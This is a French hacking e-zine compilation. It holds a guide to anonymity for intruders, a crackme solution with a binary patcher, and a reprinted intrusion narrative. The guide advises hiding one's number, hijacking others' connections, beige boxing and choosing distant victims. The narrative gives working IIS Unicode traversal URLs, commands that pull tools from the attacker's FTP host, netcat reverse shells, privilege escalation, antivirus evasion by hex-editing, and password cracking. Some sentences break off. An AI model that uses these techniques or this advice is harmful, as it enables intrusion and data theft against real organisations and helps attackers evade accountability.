Sur IRC, une personne peut surtout obtenir votre IP mais aussi votre nom, votre prénom... Mais il faut évidemment NE JAMAIS DONNER SA VERITABLE IDENTITE A TOUT SUPPORT INFORMATIQUE. Même si votre PC n'est pas relié à Internet il faut éviter. Une personne peut obtenir des infos sur vous par IRC tout simplement avec les commandes /whois et /dns.

Quand on parle de l'anonymat sur IRC, la première chose qui vient à l'esprit c'est les WinGates. WinGate vient de la compression du mot Windows et de Gate qui signifie Entrée ou Portail.

Dès fois on tombe sur des articles ou les WinGates sont présentées comme des failles Windows, ce qui n'est pas le cas.
Une Wingate c'est un produit très populaire sur Internet qui a été crée par une société informatique basée en Nouvelle Zélande appellée Firefly, Ltd. En fait on peut considérer une WinGate comme un serveur Proxy/Firewall à faible coût, c'est d'ailleurs ce qui a fait sa popularité. Comme on peut s'en douter WinGate marche sur les machines Windows (95/98/NT et XP ?). A noter qu'un programme similaire existe pour MAC baptisé Vicom Internet Gateway.

WinGate, comme tout serveur Firewall, est connectée sur Internet et permet à son réseau local d'en faire autant. WinGate est très utilisé par les PME (Petites & Moyennes Entreprises) car en installer une ne coutera au minimum qu'un pauvre ptit pentium, un modem 56k, une carte 100/baseT, une connexion Internet et évidemment le prix de la WinGate.

Une WinGate possède beaucoup de fonctionnalitées telle que serveur SOCKS 5 (on verra ca plus tard), proxy Web/Cache, enregistrement des logs (ça ca nous arrange pas), comptes, systèmes de droits, passerelle FTP (hun hun), Telnet (huhu), proxy Real Audio, POP3 et bien d'autres :)

Vous avez sans doute remarqué la fonction de passerelle Telnet. Celle ci vous permettra de vous connecter via Telnet à un serveur IRC. Pour cela c'est très simple vous vous connectez avec Telnet sur la WinGate et ce sur le port 23 (telnet). Vous obtenez en général un prompt du style 'WinGate>'. Vous n'avez alors qu'à entrer l'IP de votre serveur IRC suivi de son port, le tout séparé par des espaces. La plupart des clients IRC ont une option qui permet de passer à travers un Firewall. Il suffit donc pour être anonyme sur IRC de configurer votre client avec comme Firewall la Wingate et ça devrait marcher ;).

Alors qu'elle est la différence entre un shell distant (on verra ça plus tard) et une WinGate ? Et bien tout simplement la WinGate ne requiert pas forcément de passwords pour s'y connecter. En fouillant vous pourrez trouver plusieurs WinGate et ainsi les chainer, vous augmentez ainsi votre anonymat.

Alors les WinGate ça rend vraiment anonyme ? Tout d'abord on est jamais (ou presque) à cent pour cent anonyme. Ensuite on a vu que les WinGate possèdent des fonctions qui permettent de garder des traces de qui se connecte et où. Sachez quand même que cette option n'est pas activée par défaut et que certaines versions du logiciel ne la possèdent même pas.

Oui mais est-ce qu'un mec sur IRC peut quand même connaître mon adresse IP ? Hehe !! Vous êtes anonymes car vous utilisez une passerelle. Si le mec arrive à avoir une connexion directe avec vous il peut par la commande netstat (sous dos) avoir votre vrai IP. Comment il fait ? Simple il va essayez d'avoir une connexion directe par le biais d'une session de Chat ou d'un simple transfet de fichier :). Donc meffiez vous de ce qu'on vous propose même si ça vous parrait anodin.

ICQ - La pire des choses qui soit arrivé à votre vie privée

Le titre de ce chapitre est pris, comme cette partie, du tutorial sur l'anonymat de astalavista.box.sk.
ICQ est considéré pour beaucoup comme étant une menace à votre vie privée. Durant son évolution, il a été victime de nombreux bugs et autres vulnérabilités qui ont permis à des persones malicieuses de récolter des informations sur d'autres persones, de flooder un utilisateur de messages et ainsi planter sa machine, voler ses passwords et même s'introduire sur sa machine.

Les vulnérabilités se sont enchainées et une quantité trop importante existe toujours. Mais celle qui nous concerne viens du concept même de ICQ. En effet ICQ est un client à connexion directe. Si vous avez lu le chapitre sur IRC vous avez déjà compris : n'importe qui peut récupérer votre adresse IP, il lui suffit de dialoguer avec vous ou de vous envoyer un fichier... tout en tapant le fameux netstat.

Mais et l'option "ne pas révéler mon adresse" ? Foutaises !! Votre client ne va effectivement pas révéler votre adresse si il reçoit une commande ICQ le lui demandant. Mais pour ce qui est des commandes msdos c'est autre chose :).

La solution serait évidemment de créer des serveurs proxy ICQ. Mais quel serveur voudrait autant de zozos sur sa bande passante ? Il faudrait que le responsable de cette merde (Mirabilis) mette en place un tel serveur. La vérité c'est qu'ils s'en battent les couilles de votre vie privé. D'ailleurs qui vous dit que ICQ n'e possède pas une fonctionnalitée d'espionnage ? Une seule solution donc : laisser tomber ICQ. Cela dit j'ai lut quelques part que SOCKS reconnait ICQ mais je n'ai pas vérifié cette info. Lisez le chapitre sur FTP pour plus de détails sur SOCKS.

Les mails

Les mails c'est un des domaines où il est le plus facile de cacher son identité (IP et adresse mail). En effet il existe des tas de services qui permettent l'envoi de mail anonymes (rechercher anonymail). Vous pouvez aussi utilisez un serveur SMTP et modifier votre adresse mail (voir LOTFREE#01) mais attention certains relient votre adresse IP. Cette méthode est à éviter si vous posséder une IP fixe.

Je ne m'étend pas sur le problème l'anonymat par email mais si ça vous intéresse je vous conseille fortement de lire de la documentation sur les Remailers (sorte de proxy pour mails) et les serveurs de pseudonymes qui vous donnent en quelque sorte une adresse virtuelle qui fait le relais avec votre véritable boîte mail (la transaction est en plus cryptée :)

FTP

Voilà un chapitre qui devrait vous intéresser puisqu'il est étroitement lié à mon article sur le hack de kiriasse.
En effet selon la vulnérabilité que vous exploitez sur un serveur, vous n'allez pas utilisez le même type d'anonymat. Sur un serveut IIS victime de la faille unicode, un simple serveur proxy web suffit :p. Si vous brutteforcez un pass POP3 mieux vaut utiliser une WinGate...
Pour le FTP vous pouvez aussi utiliser une WinGate mais ici on va voir un autre type de proxy : les proxy SOCKS.

La technologie SOCKS est très très puissante et reconnait beaucoup de protocoles. Vous pouvez l'utiliser pour les NewsGroup, Telnet, les Chats, IRC... On peut considérer un proxy SOCKS comme étant un serveur proxy. Le désaventage par rapport à une WinGate est le besoin de s'identifier avec un login/password : il est très difficle de trouver un proxy SOCKS en libre accès (il est d'ailleurs très difficile de trouver un serveur SOCKS qui marche :( sigh !!).

A ma connaissance il n'y a que deux versions du protocole SOCKS : 4 & 5. Un proxy SOCKS 4 ne reconnait pas l'authentification (cool) mais ne reconnait pas non plus le protocole UDP (pas cool). Le SOCKS 5 a réglé ces problèmes.

Tous les logiciels de communication récents autorisent l'utilisation d'un tel proxy : Netscape, Internet Explorer, Cute FTP, FlashFXP...

En général un proxy SOCKS tourne sur le port 1080 mais il peut être configuré autrement. Comme je l'ai dit plus haut il est vraiment très dûr de trouver un proxy SOCKS. Personellement j'ai mis une semaine avant de trouver un serveur SOCKS valide. Car il existe effectivement des listes de serveur SOCKS sur Internet, mais une fois retiré ceux qui ne marchent pas, ceux qui demandent un mot de passe et ceux qui firltrent l'IP, il reste... rien.

Alors comment en trouver ? Et bien la solution est d'aller sur les sites de ceux qui en utilisent tout le temps : les boards Warez !! (voir Zataz mag N°6).

A noter qu'il est possible de se servir d'un proxy SOCKS et ce même si votre logiciel est vieux. Cet exploit est réalisable grâce au logiciel SocksCap. Le problème est qu'il ne marche qu'avec les SOCKS 5 (ça restreint les chances d'utilisation). SocksCap permet en effet d'encapsuler la communication du client dans une communication SOCKS. Il suffit pour cela de configurer le logiciel que vous désirez utiliser dans SocksCap. L'icône de ce soft apparait alors dans la fenêtre de SocksCap, il ne vous reste qu'à double cliquer dessus. Le désavantage est la nécessité de passer par SocksCap à chaque lancement de votre client.

Le problème majeur de SOCKS est de ne pas reconnaître les requêtes DNS, ceci nous oblige donc à utiliser les adresses IP des serveurs et non leurs noms.

Vous trouverez dans le dossier "fichiers" inclus dans le mag un document pdf réalisé par le site anonymat.org et qui explique bien mieux que moi comment utiliser SocksCap.

Telnet

Telnet !!! Alala !! Ca c'est du protocôle !!! Il permet de grande choses et il est donc nécessaire pour un hacker de savoir l'utiliser et ce anonymement. On a vu qu'il existait certaines solutions telles que les WinGate, les proxy Socks et même le tunneling (voire plus bas). Mais une solution à laquelle on pense quand on parle de Telnet c'est les shells !!! Un shell si vous savez pas ce que c'est, c'est en gros une ligne de commande à partir de laquelle vous pouvez faire tout ce que vous voulez. Intéressant non ?
Bref c'est un account sur une machine distante à laquelle vous vous connectez par mot de passe. Et là désolé mais vous trouverez pas de shells libres, où alors celui d'un crétin sous linux qui a un compte root sans password... hum !!
Plus sérieusement la plupart des comptes shells que l'on peut trouver sur Internet sont payants et apparemment, ça se vend bien. Autre solution : pirater un serveur, laisser un rootkit (c'est une backdoor évolué avec souvent sniffing et autre type d'espionnage du réseau intégré) et revenir à chaque fois que l'on a besoin d'un shell.

Le Tunneling

Vous avez peut être entendu parler de logiciels qui permettent de faire de l'IRC à travers une communication HTTP (pages web). Et bien cette méthode s'appelle le tunneling. Comme son nom l'indique on crée un tunnel dans un protocôle (souvent le HTTP car le plus utilisé) puis on y fait passer presque tout ce qu'on veut.

Cette technique est très utilisée dans les pays où la liberté d'expression, de pensée, etc. est baffouée (je pense à la Chine). Heureusement certains groupes comme Hacktivismo, créé par Count Zero de The Cult of The Dead Cow sont là pour créer des logiciels pour leurs venir en aide. Pour info la peine encourue par les pirates en Chine peut monter à la peine de mort. Deux pirates chinois se sont d'ailleurs fait fusiller pour avoir dit ce qu'ils pensaient de leurs dirigeants sur un serveur gouvernemental.

Je tenais à vous parler du logiciel HTTPort que vous trouverez sur www.htthost.com, ce dernier permet d'utiliser le tunneling pour un tas de logiciels récents et moins récents : les logiciels de P2P, ICQ, les messageries, FTP, IRC, AIM... et il est même prévu de faire tourner Quake & Co dans les prochaines versions.

Alors l'anonymat ça existe vraiment ?

Oui il y a quelques façons d'être réellement intracable. On a vu que à chaque fois, si on pouvait tromper notre victime, il était difficile de tromper le provider. Une des solutions que j'utilise est de mettre son numéro de téléphone en mode secret. Il suffit de faire le 36 51 avait de composer le numéro de votre correspondant. Donc dans vos paramêtres de connexion Internet vous mettez comme numéro 36 51 xx xx xx xx xx avec les x représentant le numéro de votre FAI. Attention, si votre victime appelle l'admin du proxy, il peut récupérer le nom de votre FAI, les appeler. Votre FAI voyant que le numéro est caché fait alors appel à France Telecom qui peut rendre visible le numéro de téléphone et ceci même une fois le hack totalement terminé (le pirate s'est déconnecté...)

Mais là encore ça ne sert à rien si les informations que vous avez donné sont vraies !!! Evitez donc les abonnements avec prélèvement automatique où des trucs comme ça où vous devez donner vos vraies coordonnées. Quelques solutions s'offrent à vous : les accès sans abonnements du style Mageos (le provider de la FNAC). Mais je sais pas si ils le font toujours. Sinon il y avait nolog, un FAI qui comme son nom l'indiquait ne gardait aucune trace de ses clients. Bref la fournisseur de rêve pour tout hacker qui se respecte. Malheuresement il ont eu quelques problèmes avec la justice (putain de big brother) et je ne sais pas si ils existent toujours.

Une autre solution ? Hacker d'un cybercafé, mais vu les restrictions qu'il peut y avoir ça vaut pas la peine :(. Laisser plutôt un sniffer qui tourne en fond et revenez plus tard :) Sinon dans le même style vous piquez la connexion Internet d'un autre mec.

L'anonymat parfais c'est le détournement de ligne téléphonique (Beige Boxing) couplé avec les techniques que l'on a vu avant. Et là, à moins d'être en plein dans le champ de vision d'un satellite de la NSA ya pas de danger :).

Mais tout ça c'est bien compliqué !! Si vous voulez mon avis, n'attaquez pas de sites trop importants style gouvernements, sites militaires. Quand au multinationnales et aux sites d'Universités mieux vaut attaquer les étrangères. Plus la victime est loin, plus elle sera démotivée pour vous retrouver. Hackez la Nouvelle Zélande et l'Alaska ;p

Solution du crackme de An-Mojeg
Bon on commence par étudier le prog : Il demande un nom d'utilisateur et un serial. Malheuresement il fait le difficile quand je lui donne sirius01 et 666fuckyou. (même en étant plus poli style je lui donne 'password' en login et 'stp' en pass il veut pas, c'est vraiment de la mauvaise volonté ;-)
Alors on se dit qu'il va nous laisser passer de grès ou de force !!!
Quand ca marche pas on obtient :
_________________________________
__* Snif *________________________|
   Meuh faut reflechir + ke ca !!!           |
                                         (OK)         |

Elle est belle ma boite de dialogue hein ?

Alors on va dans Win32Dasm, on regarde les strnRef et on voit que ya pas "Meuh..."
En revanche ya *Snip* mais si on regarde autour ya que des strcpy et pi encore en haut (si on cherche d'ou on vient) on tombe sur du code chelou dans lequel on veut
pas mettre les pieds. Toutes ces strcpy servent a mettre des chaines de caractères dans des vaiables, comme si le concepteur avait fait des titre="*Snip*" (affectation).

On remarque aussi des chaines qui pourraient etre un serial (LET-154873201478-FGHB) ou un login (An-Mojeg) mais ca semble trop beau pour etre vrai, d'ailleurs ca
marche pas.

Il y a alors plusieurs facons (different ways) de cracker ce prog :

The moulu way (La facon du lucky man) : dans votre lassitude (ou votre curiosité), vous descendez de quelques lignes et vous tombez sur deux strcmp suivi d'un
MessageBoxA, schéma classique d'une vérification login / password puis affichage de la validite des informations.
Vous cochez les cases Enables ... de WinDasm et le Stop auto on API.
Vous posez des breaks sur les deux fonctions strcmp et vous vous appercevez qu'il compare 'sirius01' avec 7Sk-An-Mojeg puis il saute sur 00401365 qui n'est autre que
la mechante message box !!
Comme on aimerait bien connaitre le serial, on relance le prog avec '7Sk-An-Mojeg' et '666fuckyou' en serial. On a strcmp('666fuckyou','LET-154873201478-FGHB'); c clair non ?
Voici le code :

:00401325 68FF304000 push 004030FF <- la brute
:0040132A 6863314000 push 00403163 <- le bon

* Reference To: KERNEL32.lstrcmpA, Ord:02D6h <-- On compare les usernames
|
:0040132F E868030000 Call 0040169C
:00401334 83F800 cmp eax, 00000000
:00401337 752C jne 00401365 <-- saut vers '*Snif*'
:00401339 6831314000 push 00403131 <- le truand
:0040133E 6895314000 push 00403195 -< le bon

* Reference To: KERNEL32.lstrcmpA, Ord:02D6h <-- on compare les serials
|
:00401343 E854030000 Call 0040169C
:00401348 83F800 cmp eax, 00000000
:0040134B 7518 jne 00401365 <-- bad boy
:0040134D 6A00 push 00000000
:0040134F 68C7314000 push 004031C7
:00401354 68DB314000 push 004031DB
:00401359 FF7508 push [ebp+08]

* Reference To: USER32.MessageBoxA, Ord:01BBh <-- good boy
|
:0040135C E8F3020000 Call 00401654
:00401361 C9 leave
:00401362 C21000 ret 0010

Une facon plus brute ? Ba on fait un break sur tous les strcmp (yen a que 5) avec les infos de w32dasm et ca revient au même.

Facon 'Allez j'me touche !!!'
Vous désassemblez le prog, vous vous mettez sur l'entry-point, vous regardez en bas de la fenêtre, vous voyez : Code Date @:00401040 @Offset 00000440h. Ca va nous permettre de faire la conversion Code <-> Offset.
Vous ouvrez le crackme avec un éditeur hexa. Vous cherchez "Meuh faut reflechir + ke ca !!!". Vous le trouvez a l'offset 6A0.
Vous calculez le magic number : 401040 - 440 = 400C00.
On fait 6A0 + 400C00 = 004012A0 c'est l'adresse de la chaine sous w32dasm.
Donc on fait une recherche sur 'push 004012A0', on a un seul résultat :

:00401316 68A0124000 push 004012A0 <-- ici
:0040131B 6849324000 push 00403249

* Reference To: KERNEL32.lstrcpyA, Ord:02DCh
|
:00401320 E87D030000 Call 004016A2

On est un peut décu car on aurait préféré que ce soit une MessageBox. Bon le strcpy a deux arguments, la source et la destination. Ici la chaine d'erreur est mise en 403249.
On recherche 'push 00403249' on a deux occurences dont celle que l'on vient de voir.
Donc la bonne est la :

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00401337(C), :0040134B(C)
|
:00401365 6A00 push 00000000
:00401367 683F324000 push 0040323F
:0040136C 6849324000 push 00403249 <--ici
:00401371 FF7508 push [ebp+08]

* Reference To: USER32.MessageBoxA, Ord:01BBh <-- on affiche bad boy
|
:00401374 E8DB020000 Call 00401654

On est alors dans le cas d'un crack classique : On a le message d'erreur, on revient à la source : 00401337 et 0040134B. On s'appercoit que c'est deux strcmp et ksi on pose des breaks dessus et bien on connait la suite.

Comment on cracke le prog ? Ben on nop les deux sauts conditionnels.
Pour faire le crack on reprend l'exemple de An-Mojeg, on le modifie un peu et puis voila :

#include <stdio.h>
#include <stdlib.h>

void noper(FILE *f, long offset)
{
  int i;
  for (i=0;i<2;i++,offset++)
  {
    fseek(f,offset,SEEK_SET);
    fprintf(f,"%c",0x90);
  }
}

void main()
{
  FILE *crck = fopen("crackme1.exe", "r+");

  if(!crck){
    printf("Erreur lors de l\'ouverture du fichier\n");
    system("pause");
    exit(0);
  }

  noper(crck,1847L);
  noper(crck,1867L);

  fclose(crck);

  printf("Fichier cracke. sirius_black\nmembres.lycos.fr/lotfree\n");
  system("pause");
}

Autopsy d'une intrusion réussie

Cet article est tiré de Hackers Digest numéro 2. Ce mag a bizarrement fait peut parler de lui et il me semble qu'ils ont arrêtés (le 3 date de hiver 2002). Dans le numéro 2, un mec qui travaille dans une boîte de test d'intrusion a écrit l'article que vous allez pouvoir lire ci-dessous. C'est la description de deux intrusions qu'il a réalisé dans le cadre de son travail. Dans la première il utilise la faille Unicode. Mais là ou il est fort c'est qu'il ne s'arrête pas à des simples commandes passées à travers son navigateur !! Non non non !! Le mec ne s'arrête que lorsqu'il est totalement maître de la machine et même du réseau entier ; du grand Art !!!

Il y a aussi la façon dont il contourne le problème de l'antivirus. On peut pas s'empêcher de rire devant un anitivirus pareil... Enfin vous verrez par vous même :)

=================[ Autopsy of a Successful Intrusion ]==================

--- by Floydman ---


Abstract

This paper consists of the recollection and analysis of two network intrusion that I have performed as part of my duties as a computer security consultant.
The name of the company I worked, as well as their customers that I hacked into, will remain anonymous for obvious reasons. The goal of this paper is to show real life cases of what computer security looks like in the wild, in corporate environments. I will try to outline the principal reasons why these intrusions were successful, and why this kind of performance could be achieved by almost anybody, putting whole networks at risks that their owner don't even begin to realize yet.

Preface

It's been over a year now that I delved into computer security. Before that, I was doing computer support and server admin on various platforms: DOS, OS/2, Novell, Windows. I have always been kind of a hack, but I never realized it until I had enough free time ahead of me to start studying the hacking scene and the computer security industry more in depth. That is how I started writing whitepapers, and that I was eventually invited to a conference to present some of my work. But I didn't want to have problems with the law, and I was short on ressources (money, boxes, bandwidth), so I limited myself to keeping tracks of new vulnerabilities and understanding how they worked without actually having the opportunity to try them on a real machine. So when I got this job and they asked me to try to hack these networks, I was really anxious at what I could really do. After all, I can't be worse than a script kiddie, can I?

Targeted audience

This document is presented to anyone who has interests in computer security, network intrusion, hacking, viruses and Trojan horses, network administration and computing in general.

Introduction

What I am about to describe here is the complete story of two successful network intrusion, where we (quickly and rather easily) had complete access to everything. These two networks are the same kind of networks that get infected all the time with I Love You, Melissa, Anna.Kournikova, Sircam only to name a few. The people who runs these networks, and the people who own them, can't keep ahead with plain viruses (for another sample of this, read "Virus protection in a Microsoft Windows network, or How to stand a chance"), let alone with a dedicated intruder that will hopefully be smart enough to hide his tracks (but even that his not even to be a requirement soon if it keeps up like that, as we'll see later). And these are networks owned by (apparently) respected big corporations, and were equiped with firewalls and antivirus software. And they still wonder why e-commerce never lifted up to expectations?

Technical background of the hack

Both networks were based on Microsoft systems, which is not that surprising since it is the most (and by far) used platform in corporate environments, especially on the desktop area. Both intrusions were made over the Internet with tools freely available on the Internet. They used vulnerabilities that were known for quite a long time, and we sometimes had to use a bit of imagination to do the rest. If you are a Windows NT/2000 admin, what you are about to read should scare you to hell. If you are a malicious hacker that does this kind of thing for a living of just plain fun, you probably know all this stuff already.
But you'll probably still want to read on to have a good laugh.

Both intrusions followed the same methodology, similar to those of a typical intrusion, which is gathering of information, analysis of the information, research of vulnerabilities, and implementation of the attack (we didn't have time to test on one of our machines, but that didn't matter), repeat. Both attacks were done from our facilities using our dedicated ADSL line over the Internet. One of the intrusion involved going undercover physically onsite at the customer premises to plant a wireless hub on the network. A laptop equipped with a wireless network card was also used to link with the hub momentarilly, to avoid detection.

Some of the tools used were:

SuperScan : to scan classes of IP address to determine open ports
CyberKit : this tool lets you do IP infomation gathering (DNS lookups, traceroute, whois, finger)
nc.exe : NetCat, ported to Win32. This program lets you initiate telnet connections on any port you want
hk.exe : program that exploit a vulnerability in the Win32 API (LPC, Local Procedure Call) that can be used to get System Level access
net commands : these should be known to all NT admins (net view, net share, net use, etc)
a hex editor : these programs let you edit binary files in hexadecimal/ascii format, a bit similar to notepad for text files
l0phtcrack : this software lets you crack the NT passwords file
whisker.pl : this script will scan webservers for known vulnerabilities, along with instructions on how to expoit them
EditPad Classic : this is a Notepad Deluxe, where we gather the information collected during the hack and other tools that I forgot that were part of the NT Ressource kit or that I will mention later in the text.

Sugar input was provided with a supply of M&Ms and coke (the drink, not the sniff).

The first victim

Pseudonym : XYZ Media Publishing Corporation Type of company : Big Media Corporation (TV, radio, newspapers, magazines, record company, don't they all do that nowadays?) Time allowed to hack : 3 man/days Goal : penetrate the network as far as possible and get evidence of intrusion

So I start with the beginning, making DNS lookups on their IP classes, whois requests and port scan the IP addresses of the company's main website as well as the subsidiaries websites. It turns out that there are over 140 machines publicly exposed to the Internet (web servers, DNS, mail, B2B), mostly Windows NT machines, with a couple *nix in the lot. A quick header scan of the web servers show effectively a mix of IIS 3.0 and 4.0. Now, the problem is to figure out where to start. Let's start with the obvious, the main website (NT 4.0 IIS 4.0). A quick check at the Bugtraq archive at SecurityFocus shows me that the "Directory traversal using Unicode vulnerability" is still quite popular (especially by script kiddies who uses it to perform website defacements), even if it's been out for about a year already. Especially since there is a new variation every couple of weeks or so. So I fire up my specially crafted hacking tool, MS Internet Explorer (sarcasm directed at medias covering hacking incidents).

The directory traversal vulnerability works by fooling the web server to give you content located outside of the web directory that it is supposed to be limited to. By default (which must cover anything between 50%-90% of the installed base), the content served by the server is located at C:\Inetpub\wwwroot. So, instead of requesting the document http://www.victim.com/index.html (that correspond physically on the server to the file C:\Inetpub\wwwroot\index.html), you request something like http://www.victim.com/../../index.html, which will request the file C:\index.html. Of course, index.html doesn't exist on C:\, but that doesn't matter, since from there you can request any file that you know the location of, based on a default install. Things that come to mind is the cmd.exe program, that you can use to issue commands on the web server as if you were sitting there and typing in a DOS box. I have to say at this point that the vulnerability doesn't work like I said, but that was a simple explanation of

http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+dir+c:\+/s

Notice that + replaces the [Space] character in your commands, and ?/c+ is required to pass parameters to cmd.exe. %1c%pc is the Unicode equivalent to /.. (other equivalents may work, see the Bugtraq entry about this vulnerability for more details). So now we have in our browser window a complete listing of all files present on the C: drive of the server. We can do the same thing for the D: drive, to see if it's present, and if it is, do it for the E: drive, and so on. The idea is to gather up as much information about the machine as we can get. At this point, we know enough to see what software runs on the machine, where the data is located. Notice that at this point, we could start to issue ping commands or net commands to try to map to any internal network the server may be talking to, but issuing these commands with the web browser is not really convenient. So we're going to get a real command prompt.

First, I set up a FTP server (no anonymous access, of course) on my laptop and put my tools in the main FTP folder. Namely, I put nc.exe and hk.exe and a couple from the ressource kit. Then I use the FTP utility conviniently waiting where I expect it to be for me to initate a connection to my laptop and fetch my tools. Since the FTP program is interactive and that I can only issue commands via the web server, I have to make a FTP script on the server. To do this, I simply issue echo commands redirected to a text file, using the directory traversal vulnerability.

http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+open+ftp.intruder.com+>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+username>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+password>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+prompt>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+bin>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+mget+*.exe>>ftp.txt
http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+echo+bye>>ftp.txt

I check out my script with my web browser one last time to make sure there I made no mistake, and then I launch the FTP session, assuming that the firewall permits this kind of traffic. And it does.

http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+ftp+-s:ftp.txt

Once this is done, I will use netcat to have a command prompt on the webserver. Netcat is a very useful networking tool that you can use to communicate via any port, and spawn a shell prompt. nc -h will give you these options:


C:\nc11nt>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
  -d detach from console, stealth mode
  -e prog inbound program to exec [dangerous!!]
  -g gateway source-routing hop point[s], up to 8
  -G num source-routing pointer: 4, 8, 12, ...
  -h this cruft
  -i secs delay interval for lines sent, ports scanned
  -l listen mode, for inbound connects
  -L listen harder, re-listen on socket close
  -n numeric-only IP addresses, no DNS
  -o file hex dump of traffic
  -p port local port number
  -r randomize local and remote ports
  -s addr local source address
  -t answer TELNET negotiation
  -u UDP mode
  -v verbose [use twice to be more verbose]
  -w secs timeout for connects and final net reads
  -z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

So I will launch netcat in listening mode on port 53 (also used by DNS, allowed by the firewall) on my laptop, and launch a netcat connection bound to a command prompt from the webserver to my laptop (using the brwoser once again).

In my DOS box
nc -l -p 53
and it hangs there...

http://www.victim.com/..%1c%pc../winnt/system32/cmd.exe?/c+nc+-d+-e+cmd.exe+my.IP.address.ADSL+53

And the hung DOS box gets:

Microsoft(R) Windows NT(TM)
(C)Copyright 1985-1996 Microsoft Corp.

C:\Intetpub\wwwroot\scripts>_

Voilà, I have a prompt. I use the whoami command from the NT Ressource kit, to find out with disappointment that I am only INET_IUSR/Anonymous, the anonymous Internet user account. So the web server doesn't run on the Administrator account. That means that I still can't reach the NT password file (also called the SAM database) because of the restricted access. No problem, I think, I'll just initiate another telnet connection using another port (23 Telnet, why not?) by using the hk.exe tool. This tool uses a vulnerability involving an undocumented API call (NT_Impersonate_thread or something like that) that lets a thread (a part of a process running in memory) get the token (a security attribute that defines what security level a thread can run, user space or kernel space) of a kernel thread (LSASS or equivalent). To use this tool, you simply type hk followed by any command you would want to run if you had NT AUTHORITY/SYSTEM level privileges (this is above the Administrator account privileges). So I t

hk nc -d -e cmd.exe my.IP.address.ADSL 23 Bad command or file name

What the?!? I make a dir command, and true enough I don't see any file named hk.exe. Did I forget to download it before? I make another FTP download (using the script again because interactive FTP sessions over a netcat connection doesn't work too well), and sure enough I see the file being downloaded from my laptop. I make a dir command again, and the file still isn't there. So I go to C:\ and make a dir hk.exe /s, and what do you know?
It's in the C:\Program Files\Antivyrtec Associates\Antivirus\Quarantine\ folder. Damn, the stupid antivirus caught my file. How can I get root without it?

Most antivirus products work by matching byte streams of known viruses and other malware to the programs and files your computer uses. If a match is found, then the file is most probably of dangerous nature, and the antivirus prevents the user from opening it. Polymorphic viruses uses a flaw in this strategy by modifying themselves every time, making it difficult to identify a reliable byte stream in the virus code that can be used to clearly identify it. Can I also use this flaw to my advantadge? Of course. Actually, that day, I have lost a lot of respect towards antivirus products seeing how easily it was to circumvent it.

Using a hex editor (I don't remember which one, but ther all do pretty much the same), I opened hk.exe. What I now see is all the binary code of the executable, shown in an hexadecimal representation. On the right hand side, we see an ASCII representation of each byte of code. Since this is compiled code, it is pretty hard to modify anything in there without screwing up the program and making it useless. Especially since we don't know what bit pattern the antivirus software looks for, and that I know nothing in reverse-engineering. The only thing editable in the program is a small section where we can actually read the message displayed by hk.exe when it successfully executes (something like "Your wish is my command, master"). What the heck, let's change that and see what happens. So I replace the string with XXXX XXXX XX XX XXXXXXXX XXXXXX, and rename the file hk2.exe (which is why I don't remember the exact string, now I only care to use hk2.exe). A quick FTP download later, and I make a dir command

So anyway, I open another DOS box on my machine and I initiate a new listening connection on my laptop

nc -l -p 23

and I type the command

hk2 nc -d -e cmd.exe my.IP.address.ADSL 23 on the active netcat on the webserver and we get:

hk2 nc -d -e cmd.exe my.IP.address.ADSL 23

lsass pid & tid are: 50 - 53

Launching line was: nc -d -e cmd.exe my.IP.address.ADSL 23

XXXX XXXX XX XX XXXXXXXX XXXXXXNtImpersonateClientOfPort suceeded


(On the listening DOS box)
Microsoft(R) Windows NT(TM)
(C)Copyright 1985-1996 Microsoft Corp.

C:\Intetpub\wwwroot\scripts>

whoami
NT AUTHORITY/SYSTEM

At this point, I see no reason to keep the first netcat connection, so I kill it. I am now in complete control of the web server and I can do whatever I want on it. I start to upload the SAM database on my laptop and I start cracking it with l0phtcrack, using a dictionnary attack first, then a brute force attack to uncover the few passwords left, if any. While the passwords cracks, I continue my investigations of my newly owned machine. I issue the ipconfig command, and I see the IP addresses of the two network interface cards installed on the machine. The IP address on one of the NIC is effectively the public IP of the web server. The other one bears an internal IP address, and a few pings and net commands later, I have a complete list of the NT Domains, PDC, BDC, Servers. I could talk to the whole internal network! Using some of the usernames/passwords that I cracked, I could go in any domain and from there connect to any workstation. With net accounts, I saw some administrative accounts that I have

As I hopped from one workstation to another, from server to server, I kept making dir c: and dir d: images, downloaded files in various interesting folders (marketing, HR, finance, IT, production, contracts, budget, etc), along with a couple Outlook mailboxes, which tells me that I could probably use the flaws in this software to send a custom virus to take control of a machine, but why bother? I already had access to everything: network maps, list of software approved by IT, standard configuration of a desktop, resumes from applicants, budget of last and current year of various departments, production status reports, finance reports, company acquisition plans and contracts, full employee lists, with phone number, e-mails and salaries, layoff severance documents, full calendar appointments of some management people, along with their mailboxes, which also showed up some interesting things. I will always remember this e-mail I read that the guy I hacked into received from one of his friends. In the e-mail,

We were about to run out of time, since my three days were almost run out. Let's not forget that I had to write a report after that, and that the customer only paid for such amount of time. But there was still a little piece of the network that I couldn't get access to. It was refusing any connection attempt from any domain that I already had control of. That was a separate NT domain, on its own IP class C network, with very restricted access, probably accessed only by the board of directors if I rely on the domain name. No password that proved useful before would work. A port scan showed me that there was a web server on this network, and I knew it was a NT server, and most probably running IIS 4 as well.
But how can I launch a web request from a DOS prompt in order to hack the server like I did the first one? I could probably make a tool someday, but I definetely
don't have this kind of time on my hands right now. I see the gold, I want the gold (even though I have plenty already), and I am willin

Winvnc works a bit like nc, but instead of giving a simple command prompt, it give full access to the graphical user interface (GUI) as if you were sitting in front of the machine, the same way as PCAnywhere does. This have the side effect that a person sitting in front of the machine will see all your actions, which means that you have been spotted.

